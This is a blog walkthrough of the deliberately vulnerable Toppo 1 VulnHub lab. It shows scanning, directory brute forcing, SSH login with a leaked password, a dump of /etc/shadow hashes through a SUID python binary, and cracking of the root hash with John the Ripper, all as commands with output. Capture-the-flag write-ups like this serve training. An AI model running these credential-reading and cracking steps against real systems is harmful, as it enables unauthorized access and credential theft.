Toppo 1 Walkthrough

This is a walkthrough of the Toppo 1 vulnerable VM. You can find it on VulnHub here: https://www.vulnhub.com/entry/toppo-1,245/

Scanning

First, I’ll start by finding the VM’s IP address:

root ~ # netdiscover -i eth1 -r 10.10.1.0/24

 Currently scanning: 10.10.1.0/24   |   Screen View: Unique Hosts                                                                                            
                                                                                                                                                             
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                             
 __________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 --------------------------------------------------------------------------
 10.10.1.1       0a:00:27:00:00:02      1      60  Unknown vendor                                                                                            
 10.10.1.10      08:00:27:18:25:ee      1      60  PCS Systemtechnik GmbH                                                                                    
 10.10.1.100     08:00:27:36:07:36      1      60  PCS Systemtechnik GmbH


Now for some portscanning with nmap:

root ~ # nmap -sV -O 10.10.1.10
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-17 19:54 EDT
Nmap scan report for 10.10.1.10
Host is up (0.00027s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
111/tcp open  rpcbind 2-4 (RPC #100000)
MAC Address: 08:00:27:18:25:EE (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Enumeration

The interesting items here are that SSH & Apache are running. First, I’ll check out the website:

I poked around the site for a bit and spidered the thing with Burp Suite but didn’t find anything terribly interesting. I decided to use Gobuster for directory brute forcing along with the “raft” wordlist I obtained from Daniel Miessler’s SecLists (FYI, RAFT is a discontinued web app proxy but it’s wordlists are a spidering of the Internet’s robot.txt files. So a bunch of directories people don’t want you to see):

root ~ # gobuster -q -u http://10.10.1.10/ -w /usr/share/wordlists/Web-Content/raft-large-directories.txt -o gobuster.txt
/js (Status: 301)
/admin (Status: 301)
/css (Status: 301)
/img (Status: 301)
/mail (Status: 301)
/manual (Status: 301)
/vendor (Status: 301)
/LICENSE (Status: 200)


Of course, the most interesting result here is /admin:

Hmm…

root ~ # curl 10.10.1.10/admin/notes.txt
Note to myself :

I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .


Exploitation?

That was easy 🙂 Let’s try to SSH in and take a stab at a username:

root ~ # ssh ted@10.10.1.10
The authenticity of host '10.10.1.10 (10.10.1.10)' can't be established.
ECDSA key fingerprint is SHA256:+i9tqbQwK978CB+XRr02pS6QPd3evJ+lueOkK1LTtU0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.1.10' (ECDSA) to the list of known hosts.
ted@10.10.1.10's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jul 17 19:17:24 2018 from 10.10.1.2
ted@Toppo:~$ id
uid=1000(ted) gid=1000(ted) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
ted@Toppo:~$


Privilege Escalation

I do believe that is the fastest I’ve ever gotten shell access to a machine. Anyway, next I’ll start poking around for privilege escalation. I like to use a couple of different enumeration scripts to check for potential paths for privescs. This time I’ll start with linuxprivchecker.py. So I’ll execute this after SCPing it over to the VM. There’s a LOT of output so I’ll spare you the entirety of it. As I scrolled through, one section caught my interest:

[+] Shadow File (Privileged)
    root:$6$5UK1sFDk$sf3zXJZ3pwGbvxaQ/1zjaT0iyvw36oltl8DhjTq9Bym0uf2UHdDdRU4KTzCkqqsmdS2cFz.MIgHS/bYsXmBjI0:17636:0:99999:7:::
    daemon:*:17636:0:99999:7:::
    bin:*:17636:0:99999:7:::
    sys:*:17636:0:99999:7:::
    sync:*:17636:0:99999:7:::
    games:*:17636:0:99999:7:::
    man:*:17636:0:99999:7:::
    lp:*:17636:0:99999:7:::
    mail:*:17636:0:99999:7:::
    news:*:17636:0:99999:7:::
    uucp:*:17636:0:99999:7:::
    proxy:*:17636:0:99999:7:::
    www-data:*:17636:0:99999:7:::
    backup:*:17636:0:99999:7:::
    list:*:17636:0:99999:7:::
    irc:*:17636:0:99999:7:::
    gnats:*:17636:0:99999:7:::
    nobody:*:17636:0:99999:7:::
    systemd-timesync:*:17636:0:99999:7:::
    systemd-network:*:17636:0:99999:7:::
    systemd-resolve:*:17636:0:99999:7:::
    systemd-bus-proxy:*:17636:0:99999:7:::
    Debian-exim:!:17636:0:99999:7:::
    messagebus:*:17636:0:99999:7:::
    statd:*:17636:0:99999:7:::
    avahi-autoipd:*:17636:0:99999:7:::
    sshd:*:17636:0:99999:7:::
    ted:$6$U2/Cun.m$A2eC7LBIW6D0eM1BPJWz6rSAGcnmfR/OC4MkPmEIZbuANEaCuNK1KPedXRhkMZbxkek7NX0lfqFVWl.tyN.lL0:17636:0:99999:7:::


That’s odd. Is the shadow file world readable?

ted@Toppo:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied


Nope. So how did the script output the contents? Let me just check another file permission:

ted@Toppo:~$ ls -l /usr/bin/python2.7 
-rwsrwxrwx 1 root root 3889608 Aug 13  2016 /usr/bin/python2.7


And there we have it. A way in. Or rather, a way up. Python has the SUID permission bit set, meaning that program will run with the owner’s (root) permissions & not the user running the program. A grave security oversight, if I do say so myself. At first, I tried just spawning a TTY from Python:

ted@Toppo:~$ python2.7 -c 'import pty; pty.spawn("/bin/bash")'
bash-4.3$ whoami
ted


Drats. Ok, well I haven’t used a password cracker in a while and I do have the hash of root’s password. I saved that first line from /etc/shadow to a file on my Kali machine called shadow.txt. I also saved the first line of /etc/passwd (root’s entry) to a file called passwd.txt. I’ll run unshadow on those and try to crack the password with John the Ripper’s default password list.

root ~/Toppo # unshadow passwd.txt shadow.txt > unshadow.txt
root ~/Toppo # cat unshadow.txt 
root:$6$5UK1sFDk$sf3zXJZ3pwGbvxaQ/1zjaT0iyvw36oltl8DhjTq9Bym0uf2UHdDdRU4KTzCkqqsmdS2cFz.MIgHS/bYsXmBjI0:0:0:root:/root:/bin/bash
root ~/Toppo # john unshadow.txt 
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
test123          (root)
1g 0:00:00:05 DONE 2/3 (2018-07-17 19:45) 0.1838g/s 198.3p/s 198.3c/s 198.3C/s lacrosse..franklin
Use the "--show" option to display all of the cracked passwords reliably
Session completed


That was a lot faster than I expected. Let’s try it out:

ted@Toppo:~$ su -
Password: 
root@Toppo:~# ls
flag.txt
root@Toppo:~# cat flag.txt 
_________                                  
|  _   _  |                                 
|_/ | | \_|.--.   _ .--.   _ .--.    .--.   
    | |  / .'`\ \[ '/'`\ \[ '/'`\ \/ .'`\ \ 
   _| |_ | \__. | | \__/ | | \__/ || \__. | 
  |_____| '.__.'  | ;.__/  | ;.__/  '.__.'  
                 [__|     [__|              




Congratulations ! there is your flag : 0wnedlab{p4ssi0n_c0me_with_pract1ce}

Great success!

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.